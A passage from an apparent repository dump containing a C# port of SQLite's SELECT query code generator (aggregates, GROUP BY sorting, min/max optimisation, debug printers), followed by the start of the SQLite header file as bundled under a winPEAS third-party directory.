ExprList pOrderBy;      /* The ORDER BY clause.  May be NULL */\n      ExprList pGroupBy;      /* The GROUP BY clause.  May be NULL */\n      Expr pHaving;           /* The HAVING clause.  May be NULL */\n      bool isDistinct;        /* True if the DISTINCT keyword is present */\n      int distinct;           /* Table to use for the distinct set */\n      int rc = 1;             /* Value to return from this function */\n      int addrSortIndex;      /* Address of an OP_OpenEphemeral instruction */\n      AggInfo sAggInfo;       /* Information used by aggregate queries */\n      int iEnd;               /* Address of the end of the query */\n      sqlite3 db;             /* The database connection */\n\n      db = pParse.db;\n      if ( p == null /*|| db.mallocFailed != 0 */ || pParse.nErr != 0 )\n      {\n        return 1;\n      }\n#if !SQLITE_OMIT_AUTHORIZATION\nif (sqlite3AuthCheck(pParse, SQLITE_SELECT, 0, 0, 0)) return 1;\n#endif\n      sAggInfo = new AggInfo();// memset(sAggInfo, 0, sAggInfo).Length;\n\n      if ( pDest.eDest <= SRT_Discard ) //IgnorableOrderby(pDest))\n      {\n        Debug.Assert( pDest.eDest == SRT_Exists || pDest.eDest == SRT_Union ||\n        pDest.eDest == SRT_Except || pDest.eDest == SRT_Discard );\n        /* If ORDER BY makes no difference in the output then neither does\n        ** DISTINCT so it can be removed too. */\n        sqlite3ExprListDelete( db, ref p.pOrderBy );\n        p.pOrderBy = null;\n        p.selFlags = (u16)( p.selFlags & ~SF_Distinct );\n      }\n      sqlite3SelectPrep( pParse, p, null );\n      pOrderBy = p.pOrderBy;\n      pTabList = p.pSrc;\n      pEList = p.pEList;\n      if ( pParse.nErr != 0 /*|| db.mallocFailed != 0 */ )\n      {\n        goto select_end;\n      }\n      isAgg = ( p.selFlags & SF_Aggregate ) != 0;\n      Debug.Assert( pEList != null );\n\n      /* Begin generating code.\n      */\n      v = sqlite3GetVdbe( pParse );\n      if ( v == null ) goto select_end;\n\n      /* Generate code for all sub-queries in the FROM clause\n      */\n#if !SQLITE_OMIT_SUBQUERY || !SQLITE_OMIT_VIEW\n      for ( i = 0 ; p.pPrior == null && i < pTabList.nSrc ; i++ )\n      {\n        SrcList_item pItem = pTabList.a[i];\n        SelectDest dest = new SelectDest();\n        Select pSub = pItem.pSelect;\n        bool isAggSub;\n\n        if ( pSub == null || pItem.isPopulated != 0 ) continue;\n\n        /* Increment Parse.nHeight by the height of the largest expression\n        ** tree refered to by this, the parent select. The child select\n        ** may contain expression trees of at most\n        ** (SQLITE_MAX_EXPR_DEPTH-Parse.nHeight) height. This is a bit\n        ** more conservative than necessary, but much easier than enforcing\n        ** an exact limit.\n        */\n        pParse.nHeight += sqlite3SelectExprHeight( p );\n\n        /* Check to see if the subquery can be absorbed into the parent. */\n        isAggSub = ( pSub.selFlags & SF_Aggregate ) != 0;\n        if ( flattenSubquery( pParse, p, i, isAgg, isAggSub ) != 0 )\n        {\n          if ( isAggSub )\n          {\n            isAgg = true;\n            p.selFlags |= SF_Aggregate;\n          }\n          i = -1;\n        }\n        else\n        {\n          sqlite3SelectDestInit( dest, SRT_EphemTab, pItem.iCursor );\n          Debug.Assert( 0 == pItem.isPopulated );\n          sqlite3Select( pParse, pSub, ref dest );\n          pItem.isPopulated = 1;\n        }\n        //if ( /* pParse.nErr != 0 || */ db.mallocFailed != 0 )\n        //{\n        //  goto select_end;\n        //}\n        pParse.nHeight -= sqlite3SelectExprHeight( p );\n        pTabList = p.pSrc;\n        if ( !( pDest.eDest <= SRT_Discard ) )//        if( !IgnorableOrderby(pDest) )\n        {\n          pOrderBy = p.pOrderBy;\n        }\n      }\n      pEList = p.pEList;\n#endif\n      pWhere = p.pWhere;\n      pGroupBy = p.pGroupBy;\n      pHaving = p.pHaving;\n      isDistinct = ( p.selFlags & SF_Distinct ) != 0;\n\n#if  !SQLITE_OMIT_COMPOUND_SELECT\n      /* If there is are a sequence of queries, do the earlier ones first.\n*/\n      if ( p.pPrior != null )\n      {\n        if ( p.pRightmost == null )\n        {\n          Select pLoop, pRight = null;\n          int cnt = 0;\n          int mxSelect;\n          for ( pLoop = p ; pLoop != null ; pLoop = pLoop.pPrior, cnt++ )\n          {\n            pLoop.pRightmost = p;\n            pLoop.pNext = pRight;\n            pRight = pLoop;\n          }\n          mxSelect = db.aLimit[SQLITE_LIMIT_COMPOUND_SELECT];\n          if ( mxSelect != 0 && cnt > mxSelect )\n          {\n            sqlite3ErrorMsg( pParse, \"too many terms in compound SELECT\" );\n            return 1;\n          }\n        }\n        return multiSelect( pParse, p, pDest );\n      }\n#endif\n\n      /* If writing to memory or generating a set\n** only a single column may be output.\n*/\n#if  !SQLITE_OMIT_SUBQUERY\n      if ( checkForMultiColumnSelectError( pParse, pDest, pEList.nExpr ) )\n      {\n        goto select_end;\n      }\n#endif\n      /* If possible, rewrite the query to use GROUP BY instead of DISTINCT.\n** GROUP BY might use an index, DISTINCT never does.\n*/\n      Debug.Assert( p.pGroupBy == null || ( p.selFlags & SF_Aggregate ) != 0 );\n      if ( ( p.selFlags & ( SF_Distinct | SF_Aggregate ) ) == SF_Distinct )\n      {\n        p.pGroupBy = sqlite3ExprListDup( db, p.pEList, 0 );\n        pGroupBy = p.pGroupBy;\n        p.selFlags = (u16)( p.selFlags & ~SF_Distinct );\n        isDistinct = false;\n      }\n\n      /* If there is an ORDER BY clause, then this sorting\n      ** index might end up being unused if the data can be\n      ** extracted in pre-sorted order.  If that is the case, then the\n      ** OP_OpenEphemeral instruction will be changed to an OP_Noop once\n      ** we figure out that the sorting index is not needed.  The addrSortIndex\n      ** variable is used to facilitate that change.\n      */\n      if ( pOrderBy != null )\n      {\n        KeyInfo pKeyInfo;\n        pKeyInfo = keyInfoFromExprList( pParse, pOrderBy );\n        pOrderBy.iECursor = pParse.nTab++;\n        p.addrOpenEphm[2] = addrSortIndex =\n        sqlite3VdbeAddOp4( v, OP_OpenEphemeral,\n        pOrderBy.iECursor, pOrderBy.nExpr + 2, 0,\n        pKeyInfo, P4_KEYINFO_HANDOFF );\n      }\n      else\n      {\n        addrSortIndex = -1;\n      }\n\n      /* If the output is destined for a temporary table, open that table.\n      */\n      if ( pDest.eDest == SRT_EphemTab )\n      {\n        sqlite3VdbeAddOp2( v, OP_OpenEphemeral, pDest.iParm, pEList.nExpr );\n      }\n\n      /* Set the limiter.\n      */\n      iEnd = sqlite3VdbeMakeLabel( v );\n      computeLimitRegisters( pParse, p, iEnd );\n\n      /* Open a virtual index to use for the distinct set.\n      */\n      if ( isDistinct )\n      {\n        KeyInfo pKeyInfo;\n        Debug.Assert( isAgg || pGroupBy != null );\n        distinct = pParse.nTab++;\n        pKeyInfo = keyInfoFromExprList( pParse, p.pEList );\n        sqlite3VdbeAddOp4( v, OP_OpenEphemeral, distinct, 0, 0,\n        pKeyInfo, P4_KEYINFO_HANDOFF );\n      }\n      else\n      {\n        distinct = -1;\n      }\n\n      /* Aggregate and non-aggregate queries are handled differently */\n      if ( !isAgg && pGroupBy == null )\n      {\n        /* This case is for non-aggregate queries\n        ** Begin the database scan\n        */\n        pWInfo = sqlite3WhereBegin( pParse, pTabList, pWhere, ref pOrderBy, 0 );\n        if ( pWInfo == null ) goto select_end;\n\n        /* If sorting index that was created by a prior OP_OpenEphemeral\n        ** instruction ended up not being needed, then change the OP_OpenEphemeral\n        ** into an OP_Noop.\n        */\n        if ( addrSortIndex >= 0 && pOrderBy == null )\n        {\n          sqlite3VdbeChangeToNoop( v, addrSortIndex, 1 );\n          p.addrOpenEphm[2] = -1;\n        }\n\n        /* Use the standard inner loop\n        */\n        Debug.Assert( !isDistinct );\n        selectInnerLoop( pParse, p, pEList, 0, 0, pOrderBy, -1, pDest,\n        pWInfo.iContinue, pWInfo.iBreak );\n\n        /* End the database scan loop.\n        */\n        sqlite3WhereEnd( pWInfo );\n      }\n      else\n      {\n        /* This is the processing for aggregate queries */\n        NameContext sNC;    /* Name context for processing aggregate information */\n        int iAMem;          /* First Mem address for storing current GROUP BY */\n        int iBMem;          /* First Mem address for previous GROUP BY */\n        int iUseFlag;       /* Mem address holding flag indicating that at least\n** one row of the input to the aggregator has been\n** processed */\n        int iAbortFlag;     /* Mem address which causes query abort if positive */\n        int groupBySort;    /* Rows come from source in GR BY' clause thanROUP BY order */\n\n        int addrEnd;        /* End of processing for this SELECT */\n\n        /* Remove any and all aliases between the result set and the\n        ** GROUP BY clause.\n        */\n        if ( pGroupBy != null )\n        {\n          int k;                        /* Loop counter */\n          ExprList_item pItem;          /* For looping over expression in a list */\n\n          for ( k = p.pEList.nExpr ; k > 0 ; k-- )//, pItem++)\n          {\n            pItem = p.pEList.a[p.pEList.nExpr - k];\n            pItem.iAlias = 0;\n          }\n          for ( k = pGroupBy.nExpr ; k > 0 ; k-- )//, pItem++ )\n          {\n            pItem = pGroupBy.a[pGroupBy.nExpr - k];\n            pItem.iAlias = 0;\n          }\n        }\n\n        /* Create a label to jump to when we want to abort the query */\n        addrEnd = sqlite3VdbeMakeLabel( v );\n\n        /* Convert TK_COLUMN nodes into TK_AGG_COLUMN and make entries in\n        ** sAggInfo for all TK_AGG_FUNCTION nodes in expressions of the\n        ** SELECT statement.\n        */\n        sNC = new NameContext(); // memset(sNC, 0, sNC).Length;\n        sNC.pParse = pParse;\n        sNC.pSrcList = pTabList;\n        sNC.pAggInfo = sAggInfo;\n        sAggInfo.nSortingColumn = pGroupBy != null ? pGroupBy.nExpr + 1 : 0;\n        sAggInfo.pGroupBy = pGroupBy;\n        sqlite3ExprAnalyzeAggList( sNC, pEList );\n        sqlite3ExprAnalyzeAggList( sNC, pOrderBy );\n        if ( pHaving != null )\n        {\n          sqlite3ExprAnalyzeAggregates( sNC, ref pHaving );\n        }\n        sAggInfo.nAccumulator = sAggInfo.nColumn;\n        for ( i = 0 ; i < sAggInfo.nFunc ; i++ )\n        {\n          Debug.Assert( !ExprHasProperty( sAggInfo.aFunc[i].pExpr, EP_xIsSelect ) );\n          sqlite3ExprAnalyzeAggList( sNC, sAggInfo.aFunc[i].pExpr.x.pList );\n        }\n  //      if ( db.mallocFailed != 0 ) goto select_end;\n\n        /* Processing for aggregates with GROUP BY is very different and\n        ** much more complex than aggregates without a GROUP BY.\n        */\n        if ( pGroupBy != null )\n        {\n          KeyInfo pKeyInfo;  /* Keying information for the group by clause */\n          int j1;             /* A-vs-B comparision jump */\n          int addrOutputRow;  /* Start of subroutine that outputs a result row */\n          int regOutputRow;   /* Return address register for output subroutine */\n          int addrSetAbort;   /* Set the abort flag and return */\n          int addrTopOfLoop;  /* Top of the input loop */\n          int addrSortingIdx; /* The OP_OpenEphemeral for the sorting index */\n          int addrReset;      /* Subroutine for resetting the accumulator */\n          int regReset;       /* Return address register for reset subroutine */\n\n          /* If there is a GROUP BY clause we might need a sorting index to\n          ** implement it.  Allocate that sorting index now.  If it turns out\n          ** that we do not need it after all, the OpenEphemeral instruction\n          ** will be converted into a Noop.\n          */\n          sAggInfo.sortingIdx = pParse.nTab++;\n          pKeyInfo = keyInfoFromExprList( pParse, pGroupBy );\n          addrSortingIdx = sqlite3VdbeAddOp4( v, OP_OpenEphemeral,\n          sAggInfo.sortingIdx, sAggInfo.nSortingColumn,\n          0, pKeyInfo, P4_KEYINFO_HANDOFF );\n\n          /* Initialize memory locations used by GROUP BY aggregate processing\n          */\n          iUseFlag = ++pParse.nMem;\n          iAbortFlag = ++pParse.nMem;\n          regOutputRow = ++pParse.nMem;\n          addrOutputRow = sqlite3VdbeMakeLabel( v );\n          regReset = ++pParse.nMem;\n          addrReset = sqlite3VdbeMakeLabel( v );\n          iAMem = pParse.nMem + 1;\n          pParse.nMem += pGroupBy.nExpr;\n          iBMem = pParse.nMem + 1;\n          pParse.nMem += pGroupBy.nExpr;\n          sqlite3VdbeAddOp2( v, OP_Integer, 0, iAbortFlag );\n#if SQLITE_DEBUG\n          VdbeComment( v, \"clear abort flag\" );\n#endif\n          sqlite3VdbeAddOp2( v, OP_Integer, 0, iUseFlag );\n#if SQLITE_DEBUG\n          VdbeComment( v, \"indicate accumulator empty\" );\n#endif\n\n          /* Begin a loop that will extract all source rows in GROUP BY order.\n** This might involve two separate loops with an OP_Sort in between, or\n** it might be a single loop that uses an index to extract information\n** in the right order to begin with.\n*/\n          sqlite3VdbeAddOp2( v, OP_Gosub, regReset, addrReset );\n          pWInfo = sqlite3WhereBegin( pParse, pTabList, pWhere, ref pGroupBy, 0 );\n          if ( pWInfo == null ) goto select_end;\n          if ( pGroupBy == null )\n          {\n            /* The optimizer is able to deliver rows in group by order so\n            ** we do not have to sort.  The OP_OpenEphemeral table will be\n            ** cancelled later because we still need to use the pKeyInfo\n            */\n            pGroupBy = p.pGroupBy;\n            groupBySort = 0;\n          }\n          else\n          {\n            /* Rows are coming out in undetermined order.  We have to push\n            ** each row into a sorting index, terminate the first loop,\n            ** then loop over the sorting index in order to get the output\n            ** in sorted order\n            */\n            int regBase;\n            int regRecord;\n            int nCol;\n            int nGroupBy;\n\n            groupBySort = 1;\n            nGroupBy = pGroupBy.nExpr;\n            nCol = nGroupBy + 1;\n            j = nGroupBy + 1;\n            for ( i = 0 ; i < sAggInfo.nColumn ; i++ )\n            {\n              if ( sAggInfo.aCol[i].iSorterColumn >= j )\n              {\n                nCol++;\n                j++;\n              }\n            }\n            regBase = sqlite3GetTempRange( pParse, nCol );\n            sqlite3ExprCacheClear( pParse );\n            sqlite3ExprCodeExprList( pParse, pGroupBy, regBase, false );\n            sqlite3VdbeAddOp2( v, OP_Sequence, sAggInfo.sortingIdx, regBase + nGroupBy );\n            j = nGroupBy + 1;\n            for ( i = 0 ; i < sAggInfo.nColumn ; i++ )\n            {\n              AggInfo_col pCol = sAggInfo.aCol[i];\n              if ( pCol.iSorterColumn >= j )\n              {\n                int r1 = j + regBase;\n                int r2;\n                r2 = sqlite3ExprCodeGetColumn( pParse,\n                pCol.pTab, pCol.iColumn, pCol.iTable, r1, false );\n                if ( r1 != r2 )\n                {\n                  sqlite3VdbeAddOp2( v, OP_SCopy, r2, r1 );\n                }\n                j++;\n              }\n            }\n            regRecord = sqlite3GetTempReg( pParse );\n            sqlite3VdbeAddOp3( v, OP_MakeRecord, regBase, nCol, regRecord );\n            sqlite3VdbeAddOp2( v, OP_IdxInsert, sAggInfo.sortingIdx, regRecord );\n            sqlite3ReleaseTempReg( pParse, regRecord );\n            sqlite3ReleaseTempRange( pParse, regBase, nCol );\n            sqlite3WhereEnd( pWInfo );\n            sqlite3VdbeAddOp2( v, OP_Sort, sAggInfo.sortingIdx, addrEnd );\n#if SQLITE_DEBUG\n            VdbeComment( v, \"GROUP BY sort\" );\n#endif\n            sAggInfo.useSortingIdx = 1;\n            sqlite3ExprCacheClear( pParse );\n          }\n\n          /* Evaluate the current GROUP BY terms and store in b0, b1, b2...\n          ** (b0 is memory location iBMem+0, b1 is iBMem+1, and so forth)\n          ** Then compare the current GROUP BY terms against the GROUP BY terms\n          ** from the previous row currently stored in a0, a1, a2...\n          */\n          addrTopOfLoop = sqlite3VdbeCurrentAddr( v );\n          sqlite3ExprCacheClear( pParse );\n          for ( j = 0 ; j < pGroupBy.nExpr ; j++ )\n          {\n            if ( groupBySort != 0 )\n            {\n              sqlite3VdbeAddOp3( v, OP_Column, sAggInfo.sortingIdx, j, iBMem + j );\n            }\n            else\n            {\n              sAggInfo.directMode = 1;\n              sqlite3ExprCode( pParse, pGroupBy.a[j].pExpr, iBMem + j );\n            }\n          }\n          sqlite3VdbeAddOp4( v, OP_Compare, iAMem, iBMem, pGroupBy.nExpr,\n          pKeyInfo, P4_KEYINFO );\n          j1 = sqlite3VdbeCurrentAddr( v );\n          sqlite3VdbeAddOp3( v, OP_Jump, j1 + 1, 0, j1 + 1 );\n\n          /* Generate code that runs whenever the GROUP BY changes.\n          ** Changes in the GROUP BY are detected by the previous code\n          ** block.  If there were no changes, this block is skipped.\n          **\n          ** This code copies current group by terms in b0,b1,b2,...\n          ** over to a0,a1,a2.  It then calls the output subroutine\n          ** and resets the aggregate accumulator registers in preparation\n          ** for the next GROUP BY batch.\n          */\n          sqlite3ExprCodeMove( pParse, iBMem, iAMem, pGroupBy.nExpr );\n          sqlite3VdbeAddOp2( v, OP_Gosub, regOutputRow, addrOutputRow );\n#if SQLITE_DEBUG\n          VdbeComment( v, \"output one row\" );\n#endif\n          sqlite3VdbeAddOp2( v, OP_IfPos, iAbortFlag, addrEnd );\n#if SQLITE_DEBUG\n          VdbeComment( v, \"check abort flag\" );\n#endif\n          sqlite3VdbeAddOp2( v, OP_Gosub, regReset, addrReset );\n#if SQLITE_DEBUG\n          VdbeComment( v, \"reset accumulator\" );\n#endif\n\n          /* Update the aggregate accumulators based on the content of\n** the current row\n*/\n          sqlite3VdbeJumpHere( v, j1 );\n          updateAccumulator( pParse, sAggInfo );\n          sqlite3VdbeAddOp2( v, OP_Integer, 1, iUseFlag );\n#if SQLITE_DEBUG\n          VdbeComment( v, \"indicate data in accumulator\" );\n#endif\n          /* End of the loop\n*/\n          if ( groupBySort != 0 )\n          {\n            sqlite3VdbeAddOp2( v, OP_Next, sAggInfo.sortingIdx, addrTopOfLoop );\n          }\n          else\n          {\n            sqlite3WhereEnd( pWInfo );\n            sqlite3VdbeChangeToNoop( v, addrSortingIdx, 1 );\n          }\n\n          /* Output the final row of result\n          */\n          sqlite3VdbeAddOp2( v, OP_Gosub, regOutputRow, addrOutputRow );\n#if SQLITE_DEBUG\n          VdbeComment( v, \"output final row\" );\n#endif\n          /* Jump over the subroutines\n*/\n          sqlite3VdbeAddOp2( v, OP_Goto, 0, addrEnd );\n\n          /* Generate a subroutine that outputs a single row of the result\n          ** set.  This subroutine first looks at the iUseFlag.  If iUseFlag\n          ** is less than or equal to zero, the subroutine is a no-op.  If\n          ** the processing calls for the query to abort, this subroutine\n          ** increments the iAbortFlag memory location before returning in\n          ** order to signal the caller to abort.\n          */\n          addrSetAbort = sqlite3VdbeCurrentAddr( v );\n          sqlite3VdbeAddOp2( v, OP_Integer, 1, iAbortFlag );\n          VdbeComment( v, \"set abort flag\" );\n          sqlite3VdbeAddOp1( v, OP_Return, regOutputRow );\n          sqlite3VdbeResolveLabel( v, addrOutputRow );\n          addrOutputRow = sqlite3VdbeCurrentAddr( v );\n          sqlite3VdbeAddOp2( v, OP_IfPos, iUseFlag, addrOutputRow + 2 );\n          VdbeComment( v, \"Groupby result generator entry point\" );\n          sqlite3VdbeAddOp1( v, OP_Return, regOutputRow );\n          finalizeAggFunctions( pParse, sAggInfo );\n          sqlite3ExprIfFalse( pParse, pHaving, addrOutputRow + 1, SQLITE_JUMPIFNULL );\n          selectInnerLoop( pParse, p, p.pEList, 0, 0, pOrderBy,\n          distinct, pDest,\n          addrOutputRow + 1, addrSetAbort );\n          sqlite3VdbeAddOp1( v, OP_Return, regOutputRow );\n          VdbeComment( v, \"end groupby result generator\" );\n\n          /* Generate a subroutine that will reset the group-by accumulator\n          */\n          sqlite3VdbeResolveLabel( v, addrReset );\n          resetAccumulator( pParse, sAggInfo );\n          sqlite3VdbeAddOp1( v, OP_Return, regReset );\n\n        } /* endif pGroupBy.  Begin aggregate queries without GROUP BY: */\n        else\n        {\n          ExprList pDel = null;\n#if !SQLITE_OMIT_BTREECOUNT\n          Table pTab;\n          if ( ( pTab = isSimpleCount( p, sAggInfo ) ) != null )\n          {\n            /* If isSimpleCount() returns a pointer to a Table structure, then\n            ** the SQL statement is of the form:\n            **\n            **   SELECT count(*) FROM <tbl>\n            **\n            ** where the Table structure returned represents table <tbl>.\n            **\n            ** This statement is so common that it is optimized specially. The\n            ** OP_Count instruction is executed either on the intkey table that\n            ** contains the data for table <tbl> or on one of its indexes. It\n            ** is better to execute the op on an index, as indexes are almost\n            ** always spread across less pages than their corresponding tables.\n            */\n            int iDb = sqlite3SchemaToIndex( pParse.db, pTab.pSchema );\n            int iCsr = pParse.nTab++;     /* Cursor to scan b-tree */\n            Index pIdx;                   /* Iterator variable */\n            KeyInfo pKeyInfo = null;      /* Keyinfo for scanned index */\n            Index pBest = null;           /* Best index found so far */\n            int iRoot = pTab.tnum;        /* Root page of scanned b-tree */\n\n            sqlite3CodeVerifySchema( pParse, iDb );\n            sqlite3TableLock( pParse, iDb, pTab.tnum, 0, pTab.zName );\n\n            /* Search for the index that has the least amount of columns. If\n            ** there is such an index, and it has less columns than the table\n            ** does, then we can assume that it consumes less space on disk and\n            ** will therefore be cheaper to scan to determine the query result.\n            ** In this case set iRoot to the root page number of the index b-tree\n            ** and pKeyInfo to the KeyInfo structure required to navigate the\n            ** index.\n            **\n            ** In practice the KeyInfo structure will not be used. It is only\n            ** passed to keep OP_OpenRead happy.\n            */\n            for ( pIdx = pTab.pIndex ; pIdx != null ; pIdx = pIdx.pNext )\n            {\n              if ( null == pBest || pIdx.nColumn < pBest.nColumn )\n              {\n                pBest = pIdx;\n              }\n            }\n            if ( pBest != null && pBest.nColumn < pTab.nCol )\n            {\n              iRoot = pBest.tnum;\n              pKeyInfo = sqlite3IndexKeyinfo( pParse, pBest );\n            }\n\n            /* Open a read-only cursor, execute the OP_Count, close the cursor. */\n            sqlite3VdbeAddOp3( v, OP_OpenRead, iCsr, iRoot, iDb );\n            if ( pKeyInfo != null )\n            {\n              sqlite3VdbeChangeP4( v, -1, pKeyInfo, P4_KEYINFO_HANDOFF );\n            }\n            sqlite3VdbeAddOp2( v, OP_Count, iCsr, sAggInfo.aFunc[0].iMem );\n            sqlite3VdbeAddOp1( v, OP_Close, iCsr );\n          }\n          else\n#endif //* SQLITE_OMIT_BTREECOUNT */\n          {\n\n            /* Check if the query is of one of the following forms:\n            **\n            **   SELECT min(x) FROM ...\n            **   SELECT max(x) FROM ...\n            **\n            ** If it is, then ask the code in where.c to attempt to sort results\n            ** as if there was an \"ORDER ON x\" or \"ORDER ON x DESC\" clause.\n            ** If where.c is able to produce results sorted in this order, then\n            ** add vdbe code to break out of the processing loop after the\n            ** first iteration (since the first iteration of the loop is\n            ** guaranteed to operate on the row with the minimum or maximum\n            ** value of x, the only row required).\n            **\n            ** A special flag must be passed to sqlite3WhereBegin() to slightly\n            ** modify behavior as follows:\n            **\n            **   + If the query is a \"SELECT min(x)\", then the loop coded by\n            **     where.c should not iterate over any values with a NULL value\n            **     for x.\n            **\n            **   + The optimizer code in where.c (the thing that decides which\n            **     index or indices to use) should place a different priority on\n            **     satisfying the 'ORDER BY' clause than it does in other cases.\n            **     Refer to code and comments in where.c for details.\n            */\n            ExprList pMinMax = null;\n            int flag = minMaxQuery( p );\n            if ( flag != 0 )\n            {\n              Debug.Assert( !ExprHasProperty( p.pEList.a[0].pExpr, EP_xIsSelect ) );\n              pMinMax = sqlite3ExprListDup( db, p.pEList.a[0].pExpr.x.pList, 0 );\n              pDel = pMinMax;\n              if ( pMinMax != null )///* && 0 == db.mallocFailed */ )\n              {\n                pMinMax.a[0].sortOrder = (u8)( flag != WHERE_ORDERBY_MIN ? 1 : 0 );\n                pMinMax.a[0].pExpr.op = TK_COLUMN;\n              }\n            }\n\n            /* This case runs if the aggregate has no GROUP BY clause.  The\n            ** processing is much simpler since there is only a single row\n            ** of output.\n            */\n            resetAccumulator( pParse, sAggInfo );\n            pWInfo = sqlite3WhereBegin( pParse, pTabList, pWhere, ref pMinMax, (byte)flag );\n            if ( pWInfo == null )\n            {\n              sqlite3ExprListDelete( db, ref pDel );\n              goto select_end;\n            }\n            updateAccumulator( pParse, sAggInfo );\n            if ( pMinMax == null && flag != 0 )\n            {\n              sqlite3VdbeAddOp2( v, OP_Goto, 0, pWInfo.iBreak );\n#if SQLITE_DEBUG\n              VdbeComment( v, \"%s() by index\",\n              ( flag == WHERE_ORDERBY_MIN ? \"min\" : \"max\" ) );\n#endif\n            }\n            sqlite3WhereEnd( pWInfo );\n            finalizeAggFunctions( pParse, sAggInfo );\n          }\n\n          pOrderBy = null;\n          sqlite3ExprIfFalse( pParse, pHaving, addrEnd, SQLITE_JUMPIFNULL );\n          selectInnerLoop( pParse, p, p.pEList, 0, 0, null, -1,\n          pDest, addrEnd, addrEnd );\n\n          sqlite3ExprListDelete( db, ref pDel );\n        }\n        sqlite3VdbeResolveLabel( v, addrEnd );\n\n      } /* endif aggregate query */\n\n      /* If there is an ORDER BY clause, then we need to sort the results\n      ** and send them to the callback one by one.\n      */\n      if ( pOrderBy != null )\n      {\n        generateSortTail( pParse, p, v, pEList.nExpr, pDest );\n      }\n\n      /* Jump here to skip this query\n      */\n      sqlite3VdbeResolveLabel( v, iEnd );\n\n      /* The SELECT was successfully coded.   Set the return code to 0\n      ** to indicate no errors.\n      */\n      rc = 0;\n\n      /* Control jumps to here if an error is encountered above, or upon\n      ** successful coding of the SELECT.\n      */\nselect_end:\n\n      /* Identify column names if results of the SELECT are to be output.\n      */\n      if ( rc == SQLITE_OK && pDest.eDest == SRT_Output )\n      {\n        generateColumnNames( pParse, pTabList, pEList );\n      }\n\n      //sqlite3DbFree( db, ref sAggInfo.aCol );\n      //sqlite3DbFree( db, ref sAggInfo.aFunc );\n      return rc;\n    }\n\n#if SQLITE_DEBUG\n    /*\n*******************************************************************************\n** The following code is used for testing and debugging only.  The code\n** that follows does not appear in normal builds.\n**\n** These routines are used to print out the content of all or part of a\n** parse structures such as Select or Expr.  Such printouts are useful\n** for helping to understand what is happening inside the code generator\n** during the execution of complex SELECT statements.\n**\n** These routine are not called anywhere from within the normal\n** code base.  Then are intended to be called from within the debugger\n** or from temporary \"printf\" statements inserted for debugging.\n*/\n    void sqlite3PrintExpr( Expr p )\n    {\n      if ( !ExprHasProperty( p, EP_IntValue ) && p.u.zToken != null )\n      {\n        sqlite3DebugPrintf( \"(%s\", p.u.zToken );\n      }\n      else\n      {\n        sqlite3DebugPrintf( \"(%d\", p.op );\n      }\n      if ( p.pLeft != null )\n      {\n        sqlite3DebugPrintf( \" \" );\n        sqlite3PrintExpr( p.pLeft );\n      }\n      if ( p.pRight != null )\n      {\n        sqlite3DebugPrintf( \" \" );\n        sqlite3PrintExpr( p.pRight );\n      }\n      sqlite3DebugPrintf( \")\" );\n    }\n    void sqlite3PrintExprList( ExprList pList )\n    {\n      int i;\n      for ( i = 0 ; i < pList.nExpr ; i++ )\n      {\n        sqlite3PrintExpr( pList.a[i].pExpr );\n        if ( i < pList.nExpr - 1 )\n        {\n          sqlite3DebugPrintf( \", \" );\n        }\n      }\n    }\n    void sqlite3PrintSelect( Select p, int indent )\n    {\n      sqlite3DebugPrintf( \"%*sSELECT(%p) \", indent, \"\", p );\n      sqlite3PrintExprList( p.pEList );\n      sqlite3DebugPrintf( \"\\n\" );\n      if ( p.pSrc != null )\n      {\n        string zPrefix;\n        int i;\n        zPrefix = \"FROM\";\n        for ( i = 0 ; i < p.pSrc.nSrc ; i++ )\n        {\n          SrcList_item pItem = p.pSrc.a[i];\n          sqlite3DebugPrintf( \"%*s \", indent + 6, zPrefix );\n          zPrefix = \"\";\n          if ( pItem.pSelect != null )\n          {\n            sqlite3DebugPrintf( \"(\\n\" );\n            sqlite3PrintSelect( pItem.pSelect, indent + 10 );\n            sqlite3DebugPrintf( \"%*s)\", indent + 8, \"\" );\n          }\n          else if ( pItem.zName != null )\n          {\n            sqlite3DebugPrintf( \"%s\", pItem.zName );\n          }\n          if ( pItem.pTab != null )\n          {\n            sqlite3DebugPrintf( \"(table: %s)\", pItem.pTab.zName );\n          }\n          if ( pItem.zAlias != null )\n          {\n            sqlite3DebugPrintf( \" AS %s\", pItem.zAlias );\n          }\n          if ( i < p.pSrc.nSrc - 1 )\n          {\n            sqlite3DebugPrintf( \",\" );\n          }\n          sqlite3DebugPrintf( \"\\n\" );\n        }\n      }\n      if ( p.pWhere != null )\n      {\n        sqlite3DebugPrintf( \"%*s WHERE \", indent, \"\" );\n        sqlite3PrintExpr( p.pWhere );\n        sqlite3DebugPrintf( \"\\n\" );\n      }\n      if ( p.pGroupBy != null )\n      {\n        sqlite3DebugPrintf( \"%*s GROUP BY \", indent, \"\" );\n        sqlite3PrintExprList( p.pGroupBy );\n        sqlite3DebugPrintf( \"\\n\" );\n      }\n      if ( p.pHaving != null )\n      {\n        sqlite3DebugPrintf( \"%*s HAVING \", indent, \"\" );\n        sqlite3PrintExpr( p.pHaving );\n        sqlite3DebugPrintf( \"\\n\" );\n      }\n      if ( p.pOrderBy != null )\n      {\n        sqlite3DebugPrintf( \"%*s ORDER BY \", indent, \"\" );\n        sqlite3PrintExprList( p.pOrderBy );\n        sqlite3DebugPrintf( \"\\n\" );\n      }\n    }\n    /* End of the structure debug printing code\n    *****************************************************************************/\n#endif // * defined(SQLITE_TEST) || defined(SQLITE_DEBUG) */\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/sqlite3_h.cs",
    "content": "using u8 = System.Byte;\n\nnamespace winPEAS._3rdParty.SQLite.src\n{\n  public partial class CSSQLite\n  {\n    /*\n    ** 2001 September 15\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    *************************************************************************\n    ** This header file defines the interface that the SQLite library\n    ** presents to client programs.  If a C-function, structure, datatype,\n    ** or constant definition does not appear in this file, then it is\n    ** not a published API of SQLite, is subject to change without\n    ** notice, and should not be referenced by programs that use SQLite.\n    **\n    ** Some of the definitions that are in this file are marked as\n    ** \"experimental\".  Experimental interfaces are normally new\n    ** features recently added to SQLite.  We do not anticipate changes\n    ** to experimental interfaces but reserve to make minor changes if\n    ** experience from use \"in the wild\" suggest such changes are prudent.\n    **\n    ** The official C-language API documentation for SQLite is derived\n    ** from comments in this file.  This file is the authoritative source\n    ** on how SQLite interfaces are suppose to operate.\n    **\n    ** The name of this file under configuration management is \"sqlite.h.in\".\n    ** The makefile makes some minor changes to this file 